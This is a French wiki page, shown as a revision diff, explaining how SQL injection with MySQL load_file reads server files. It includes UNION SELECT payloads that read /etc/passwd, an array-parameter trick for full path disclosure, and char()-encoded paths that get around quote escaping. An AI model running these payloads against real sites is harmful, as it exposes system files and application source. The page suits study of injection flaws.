Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

wiki:lecture.de.fichier [2018/04/23 17:13] (Version actuelle)
Ligne 1: Ligne 1:
 +Une injection SQL peut nous permettre de lire un fichier, notamment à partir de la fonction **load_file** de MySql.
 +
 +Soit un site : \\
 +**www.owe/​member.php?​id=1**
 +
 +Si le site n'est pas parfaitement protéger, je peux réaliser une injection numérique dans l'url, mais je peux aussi lire un fichier.
 +Par exemple si je veux lire le fichier /​etc/​passwd,​ il me suffirait ​ de faire : \\
 +**www.owe/​member.php?​id=1 UNION SELECT load_file('​etc/​passwd'​) FROM users #**
 +
 +Comment faire si je veux lire  la page ** member.php ** sans connaitre son chemin absolue ?
 +J'​utilise le ** Full path discolure **, cette faille est exécuté par injection des caractères inattendus dans certains paramètres d'un page web.
 +
 +Si je rentre cette url : \\
 +**www.owe/​member.php?​id[]=1**
 + 
 +<code bash>
 +Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in /​var/​www/​owe/​member.php on line 67 You have an error in your SQL syntax; ​
 +</​code><​code bash>​check the manual that corresponds to your MySQL server version for the right syntax to use near ''​ at line 1</​code>​
 +
 +
 +Du coup il me reste plus qu'à utiliser load_file sur ce nouveau chemin.
 +
 +
 +Mais comment faire si le site vulnérable échappe les quotes ? Vous ne pourrez plus utiliser la fonction load_file aussi simplement.
 +Il faudra encoder les caractères avant, et ce grâce à la fonction **char()** de MySql qui convertit du décimal en binaire.
 +
 +Ainsi si je veux afficher la page member.php sans utiliser de quotes, je peux faire : 
 +
 +**www.owe/​member.php?​id=1 UNION SELECT load_file(char(47,​118,​97,​114,​47,​119,​119,​119,​47,​111,​119,​101,​47,​109,​101,​109,​98,​101,​114,​46,​112,​104,​112)) FROM users #**
 +
 +Et bingo, cela va me retourner la page member.php !
  
wiki/lecture.de.fichier.txt · Dernière modification: 2018/04/23 17:13 (modification externe)
CC0 1.0 Universal
Powered by PHP Driven by DokuWiki Recent changes RSS feed Valid CSS Valid XHTML 1.0 Valid HTML5